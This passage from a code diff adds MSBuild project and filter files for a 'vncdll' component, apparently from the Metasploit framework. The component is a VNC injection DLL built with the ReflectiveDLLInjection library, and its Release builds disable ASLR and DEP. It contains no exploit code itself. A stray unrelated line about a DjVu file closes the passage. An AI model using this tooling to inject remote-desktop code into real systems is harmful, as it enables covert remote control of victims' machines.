+    <IntDir>$(ProjectDir)$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>true</LinkIncremental>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <OutDir>$(ProjectDir)$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(ProjectDir)$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <GenerateManifest>false</GenerateManifest>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <OutDir>$(ProjectDir)$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(ProjectDir)$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <GenerateManifest>false</GenerateManifest>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;WIN_X86;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>EditAndContinue</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX86</TargetMachine>
+      <AdditionalDependencies>Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+exit 0</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Midl>
+      <TargetEnvironment>X64</TargetEnvironment>
+    </Midl>
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX64</TargetMachine>
+      <AdditionalDependencies>Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_X64_;_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" &gt; NUL
+exit 0</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <Optimization>MaxSpeed</Optimization>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <CompileAs>CompileAsC</CompileAs>
+    </ClCompile>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+    <Link>
+      <AdditionalDependencies>Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>true</OptimizeReferences>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <DataExecutionPrevention>false</DataExecutionPrevention>
+      <TargetMachine>MachineX86</TargetMachine>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Midl>
+      <TargetEnvironment>X64</TargetEnvironment>
+    </Midl>
+    <ClCompile>
+      <Optimization>MaxSpeed</Optimization>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <CompileAs>CompileAsC</CompileAs>
+    </ClCompile>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_X64_;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+    <Link>
+      <AdditionalDependencies>Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>true</OptimizeReferences>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <DataExecutionPrevention>false</DataExecutionPrevention>
+      <TargetMachine>MachineX64</TargetMachine>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" &gt; NUL
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.c" />
+    <ClCompile Include="context.c" />
+    <ClCompile Include="loader.c" />
+    <ClCompile Include="inject.c" />
+    <ClCompile Include="ps.c" />
+    <ClCompile Include="session.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="context.h" />
+    <ClInclude Include="loader.h" />
+    <ClInclude Include="inject.h" />
+    <ClInclude Include="ps.h" />
+    <ClInclude Include="session.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="loader.rc" />
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\winvnc\WinVNC.vcxproj">
+      <Project>{ea6a09ac-04bb-423d-8842-ca48df901058}</Project>
+      <ReferenceOutputAssembly>false</ReferenceOutputAssembly>
+    </ProjectReference>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
--- a/external/source/vncdll/vncdll/vncdll.vcxproj.filters
+++ b/external/source/vncdll/vncdll/vncdll.vcxproj.filters
@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Source Files\core">
+      <UniqueIdentifier>{7c56685d-83b5-4541-b5dd-a620ffe19b23}</UniqueIdentifier>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+    </Filter>
+    <Filter Include="Header Files\core">
+      <UniqueIdentifier>{6b6dd5ba-1f40-449f-a55b-7180bb0793a0}</UniqueIdentifier>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="context.c">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="loader.c">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="inject.c">
+      <Filter>Source Files\core</Filter>
+    </ClCompile>
+    <ClCompile Include="ps.c">
+      <Filter>Source Files\core</Filter>
+    </ClCompile>
+    <ClCompile Include="session.c">
+      <Filter>Source Files\core</Filter>
+    </ClCompile>
+    <ClCompile Include="..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.c">
+      <Filter>Source Files\core</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="context.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="loader.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="inject.h">
+      <Filter>Header Files\core</Filter>
+    </ClInclude>
+    <ClInclude Include="ps.h">
+      <Filter>Header Files\core</Filter>
+    </ClInclude>
+    <ClInclude Include="session.h">
+      <Filter>Header Files\core</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="loader.rc">
+      <Filter>Resource Files</Filter>
+    </ResourceCompile>
+  </ItemGroup>
+</Project>
--- a/Show More
+++ b/Show More
				`@ -0,0 +1 @@`
				`Any DjVu file can be used this is just a snazzy Metasploit one`